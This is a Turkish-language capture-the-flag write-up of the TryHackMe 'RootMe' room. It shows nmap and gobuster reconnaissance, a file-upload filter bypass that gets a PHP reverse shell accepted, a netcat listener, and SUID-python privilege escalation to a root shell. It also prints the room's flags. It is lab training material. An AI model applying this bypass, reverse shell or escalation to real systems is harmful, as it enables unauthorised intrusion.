Post

RootMe

RootMe

Bölüm 1 - Reconnaissance

  • Makineyi tarayın, kaç tane port açık?

Öncelikle nmap taraması başlatalım.

1
2
┌──(root@r3tr0)-[/home/kali/Desktop/ctf/RootMe]
└─# nmap -T5 -p- -v -sV 10.10.155.83     

Göründüğü gibi 22 ve 80 portu açık. Cevap: 2

  • Çalışan Apache versiyonu nedir?

2.4.29

  • 22 portunda çalışan servis nedir?

ssh

  • Gizli dizin nedir?

Gobuster çalıştırarak gizli dizini bulalım.

1
2
┌──(root㉿r3tr0)-[/home/kali/Desktop/ctf/RootMe]
└─# gobuster dir --url http://10.10.178.135 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -t 60

/panel/

Bölüm 2 - Getting a Shell

Önce bulduğumuz gizli dizine gidelim.

Php reverse shell komut dosyası kullanılarak bağlantı sağlanılabilir. Bunun için pentest monkey’in php reverse shell kodunu kullandım. Dosya yüklenmek istendiğinde izin verilmiyor.

Dosya adı uzantısı değiştirilerek file upload bypass işlemi yapılabilir. Bu yüzden php-reverse-shell.php dosyasının adı php-reverse-shell.php5 yapıldığında yükleme işlemi başarı ile gerçekleşiyor.

Yükleme işlemi yapmadan önce dosyayı açıp kendi ip adresinizi ve dinlemek istediğiniz portu girmelisiniz.

Dosyayı yükledikten sonra netcat çalıştırıyoruz.

1
2
┌──(root㉿r3tr0)-[/home/kali/Desktop/ctf/RootMe]
└─# nc -nvlp 1234 

http://10.10.178.135/uploads/ a giderek yüklediğimiz dosyayı çalışıyoruz ve shellimizi alıyoruz.

python -c ‘import pty;pty.spawn(“/bin/bash”)’ ile bağlantı stabil hale getirelim.

cat /var/www/user.txt ile user flag’ı görüntüleyebiliriz.

THM{y0u_g0t_a_sh3ll}

Bölüm 3 - Privilege escalation

find / -user root -perm /4000 ile root yetkisi edilecek dosyalar araştıralım.

Burada /usr/bin/python dikkatimi çekti. GTFOBins sayfasında python üzerinden yetki yükseltme ile ilgili komut bulunuyor.

python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ komutu ile yetkimizi yükseltelim.

Ardından cat /root/root.txt komutu ile root bayrağına ulaşalım.

THM{pr1v1l3g3_3sc4l4t10n}

fsoc

This post is licensed under CC BY 4.0 by the author.